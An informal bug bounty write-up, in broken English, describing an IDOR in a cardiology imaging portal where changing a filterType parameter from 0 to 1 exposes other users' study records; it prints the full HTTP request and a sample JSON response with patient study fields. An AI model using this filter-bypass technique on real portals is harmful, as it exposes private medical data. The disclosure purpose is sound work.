How I screwed up $1000 in bug bounty

i guess i screwed up lot of vulnerabilities so for now i dont have 1 dollar the new the newest bug i exploited is these the idor in the one of biggest programs i dont write the leak word in my report so its get informative and patched hmmm..

step1 – go to search bar and search dummy data step 2- change the filtertype to 1 to disable it

original request: 

GET /sdportal/StudyList/StudyListResult?source=Cardiology&server=server2&filterName=QuickSearch&filterType=0&search=alldays-admin&_search=false&nd=1719508416301&rows=50&page=1&sidx=StudyDate&sord=desc HTTP/1.1
Host: server1.domain.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1
Te: trailers
Connection: keep-alive

After that we respond to many data of users and employees like uid and gender and username etc... The interesting part of this story is the data of users that we read the data from server2 but access to server1 and send we do. request from server1 and we can read a lot of data that we don't have access to the server one if we search anything the response is [] but in here after disable the filter we have lot of data

      "StudyStatus": "UNREAD",
      "Reports": "",
      "PDFReports": "",
      "DiagnosingPhysician": [],
      "ReferringPhysician": null,
      "Diagnosis": "",
      "StudyLocation": "Online",
      "PriorStudies": 1,
      "Modality": "SRXA",
      "OriginalModality": "SRXA",
      "NumberOfImages": 12,
      "Indication": "",
      "Technologist": [],
      "Custom1": "",
      "Custom2": "",
      "ServerName": "server2",
      "Department": "Cardiology",
      "ReportUploadStatus": "",
      "MasterPatientId": null,
      "StudyPerformed": "",
      "UID": "uid user",
      "IsViewableInPir": true,
      "IsStudyLocked": false,
      "IsTrinityEnabled": false,
      "IsPDFReportAvailable": false,
      "Sex": "",
      "IsADTReconciled": false,
      "IsORMAssociated": false,
      "NumberOfConflicts": 0

after send we get informative